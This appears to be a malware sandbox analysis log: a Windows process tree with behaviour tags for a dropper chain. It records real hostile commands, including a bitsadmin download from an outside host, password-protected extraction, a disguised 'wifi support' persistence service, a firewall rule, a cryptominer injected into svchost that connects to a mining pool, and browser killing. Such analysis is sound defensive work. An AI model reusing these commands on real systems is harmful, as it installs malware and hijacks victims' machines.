C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx15⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx16⤵
- Drops file in System32 directory
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsy784C.tmp\tempfile.ps1"15⤵
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\50me53sj.iaw\GcleanerWW.exe /mixone & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ayfdiixw.yfh\app.exe /8-2222 & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\ayfdiixw.yfh\app.exeC:\Users\Admin\AppData\Local\Temp\ayfdiixw.yfh\app.exe /8-222214⤵
-
C:\Users\Admin\AppData\Local\Temp\ayfdiixw.yfh\app.exe"C:\Users\Admin\AppData\Local\Temp\ayfdiixw.yfh\app.exe" /8-222215⤵
- Modifies data under HKEY_USERS
-
-
-
-
-
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QV5OK.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-QV5OK.tmp\lylal220.tmp" /SL5="$20590,172303,88576,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O8109.tmp\èeèrgegdè_éçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-O8109.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=lylal22011⤵
-
C:\Program Files\Windows Defender\JIATZDBYSX\irecord.exe"C:\Program Files\Windows Defender\JIATZDBYSX\irecord.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1EBSN.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-1EBSN.tmp\irecord.tmp" /SL5="$30550,5808768,66560,C:\Program Files\Windows Defender\JIATZDBYSX\irecord.exe" /VERYSILENT13⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\cf-c0c77-214-defb3-f954a08ae9144\Bugyponoku.exe"C:\Users\Admin\AppData\Local\Temp\cf-c0c77-214-defb3-f954a08ae9144\Bugyponoku.exe"12⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Local\Temp\36-4fbd2-3d5-1d6ab-714269b081753\Maejumyromi.exe"C:\Users\Admin\AppData\Local\Temp\36-4fbd2-3d5-1d6ab-714269b081753\Maejumyromi.exe"12⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wfu0eydc.aw3\GcleanerEU.exe /eufive & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hccycans.1ip\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bdhmb3sl.ou2\Setup3310.exe /Verysilent /subid=623 & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\bdhmb3sl.ou2\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\bdhmb3sl.ou2\Setup3310.exe /Verysilent /subid=62314⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AIC96.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-AIC96.tmp\Setup3310.tmp" /SL5="$20454,138429,56832,C:\Users\Admin\AppData\Local\Temp\bdhmb3sl.ou2\Setup3310.exe" /Verysilent /subid=62315⤵
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-7BCOD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-7BCOD.tmp\Setup.exe" /Verysilent16⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lk0mikgx.miv\google-game.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\lk0mikgx.miv\google-game.exeC:\Users\Admin\AppData\Local\Temp\lk0mikgx.miv\google-game.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\lk0mikgx.miv\google-game.exe"C:\Users\Admin\AppData\Local\Temp\lk0mikgx.miv\google-game.exe" -a15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iijiqfeq.5eg\toolspab1.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\iijiqfeq.5eg\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\iijiqfeq.5eg\toolspab1.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\iijiqfeq.5eg\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\iijiqfeq.5eg\toolspab1.exe15⤵
- Checks SCSI registry key(s)
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vykdaeb1.opq\SunLabsPlayer.exe /S & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\vykdaeb1.opq\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\vykdaeb1.opq\SunLabsPlayer.exe /S14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z15⤵
- Download via BitsAdmin
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx15⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx16⤵
- Drops file in System32 directory
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz7ABD.tmp\tempfile.ps1"15⤵
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT15⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\boxt0cpw.edg\GcleanerWW.exe /mixone & exit13⤵
-
-
-
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\6368462.exe"C:\Users\Admin\AppData\Roaming\6368462.exe"10⤵
-
-
C:\Users\Admin\AppData\Roaming\8933555.exe"C:\Users\Admin\AppData\Roaming\8933555.exe"10⤵
- Suspicious behavior: SetClipboardViewer
-
-
C:\Users\Admin\AppData\Roaming\5617989.exe"C:\Users\Admin\AppData\Roaming\5617989.exe"10⤵
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im RunWW.exe /f11⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 611⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4aia552r.1sd\google-game.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\4aia552r.1sd\google-game.exeC:\Users\Admin\AppData\Local\Temp\4aia552r.1sd\google-game.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\4aia552r.1sd\google-game.exe"C:\Users\Admin\AppData\Local\Temp\4aia552r.1sd\google-game.exe" -a7⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bkswjkle.nxl\jhuuee.exe & exit5⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q1rpda2d.dog\app.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\q1rpda2d.dog\app.exeC:\Users\Admin\AppData\Local\Temp\q1rpda2d.dog\app.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\q1rpda2d.dog\app.exe"C:\Users\Admin\AppData\Local\Temp\q1rpda2d.dog\app.exe"7⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\an4qve0s.3vi\askinstall46.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\an4qve0s.3vi\askinstall46.exeC:\Users\Admin\AppData\Local\Temp\an4qve0s.3vi\askinstall46.exe6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\22z30w1a.f44\note8876.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\22z30w1a.f44\note8876.exeC:\Users\Admin\AppData\Local\Temp\22z30w1a.f44\note8876.exe6⤵
- Checks whether UAC is enabled
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\311x3li5.g5u\toolspab1.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\311x3li5.g5u\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\311x3li5.g5u\toolspab1.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\311x3li5.g5u\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\311x3li5.g5u\toolspab1.exe7⤵
- Checks SCSI registry key(s)
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ruzttkia.nte\SunLabsPlayer.exe /S & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\ruzttkia.nte\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\ruzttkia.nte\SunLabsPlayer.exe /S6⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
- Blocklisted process makes network request
- Checks processor information in registry
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Checks for any installed AV software in registry
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx7⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx8⤵
- Drops file in System32 directory
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Drops file in System32 directory
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsp6D7F.tmp\tempfile.ps1"7⤵
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ak51mapg.3ij\GcleanerWW.exe /mixone & exit5⤵
- Blocklisted process makes network request
- Modifies data under HKEY_USERS
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4AEF.exeC:\Users\Admin\AppData\Local\Temp\4AEF.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4AEF.exe"C:\Users\Admin\AppData\Local\Temp\4AEF.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4D22.exeC:\Users\Admin\AppData\Local\Temp\4D22.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ttwidmrg\2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\peiqysd.exe" C:\Windows\SysWOW64\ttwidmrg\2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create ttwidmrg binPath= "C:\Windows\SysWOW64\ttwidmrg\peiqysd.exe /d\"C:\Users\Admin\AppData\Local\Temp\4D22.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description ttwidmrg "wifi internet conection"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start ttwidmrg2⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\54D4.exeC:\Users\Admin\AppData\Local\Temp\54D4.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\ttwidmrg\peiqysd.exeC:\Windows\SysWOW64\ttwidmrg\peiqysd.exe /d"C:\Users\Admin\AppData\Local\Temp\4D22.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4952 -s 16682⤵
- Program crash
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5644 -s 28802⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wsappx -s AppXSvc1⤵
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
